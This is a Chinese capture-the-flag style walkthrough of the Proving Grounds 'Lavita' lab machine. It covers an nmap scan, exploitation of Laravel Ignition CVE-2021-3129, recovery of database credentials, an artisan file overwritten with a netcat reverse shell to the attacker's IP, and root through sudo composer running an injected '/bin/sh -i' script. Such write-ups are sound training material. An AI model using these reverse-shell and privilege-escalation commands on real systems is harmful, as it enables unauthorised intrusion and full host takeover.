信息收集:
root@iZt4nbifrvtk7cy11744y4Z:~# nmap -p- -Pn -A -sS -T4 192.168.216.38
Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-24 08:54 CST
Nmap scan report for 192.168.216.38
Host is up (0.0026s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: W3.CSS Template
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/24%OT=22%CT=1%CU=44525%PV=Y%DS=4%DC=T%G=Y%TM=67BBC34
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST1
OS:1NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 3.03 ms 192.168.45.1
2 3.03 ms 192.168.45.254
3 3.10 ms 192.168.251.1
4 3.26 ms 192.168.216.38
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.30 seconds
80运行了http服务,先对目录进行扫描
扫描到了login,常规弱口登录失败,注册一个新账号admin/admin123登录系统
翻了翻实在没找到框架名称,web只开放了80端口,看了下hints,利用的是 CVE-2021-3129,web框架为Laravel
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
打开debug模式
python3 exp.py http://192.168.216.38/
成功执行id命令,修改脚本并执行反弹shell命令,只保留一条可利用链,避免冗余
上传linpeas.sh并运行,找到了数据库账号密码:lavita/sdfquelw0kly9jgbx92
mysql -hlocalhost -ulavita -psdfquelw0kly9jgbx92
成功连接,在user表找到admin用户的账号密码
这个是我们刚刚注册的用户,应该不是入口点,上传pspy32s查看进程;发现网站目录下有一个命令一直在运行:/usr/bin/php /var/www/html/lavita/artisan clear:pictures
修改artisan文件,第一次直接写入了shell命令,没注意是php运行的......
echo"<?php system('nc -c sh 192.168.45.184 3001'); ?>">artisan
成功收到skunk的shell
拿到local
信息收集发现sudo -l
有无密码可执行命令/usr/bin/composer
执行下面命令,注意skunk用户无法写入composer.json,需要用www-data用户执行第一个
echo'{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >/var/www/html/lavita/composer.json
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
成功提权root,拿到proof
原文始发于微信公众号(EuSRC安全实验室):PG_Lavita
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论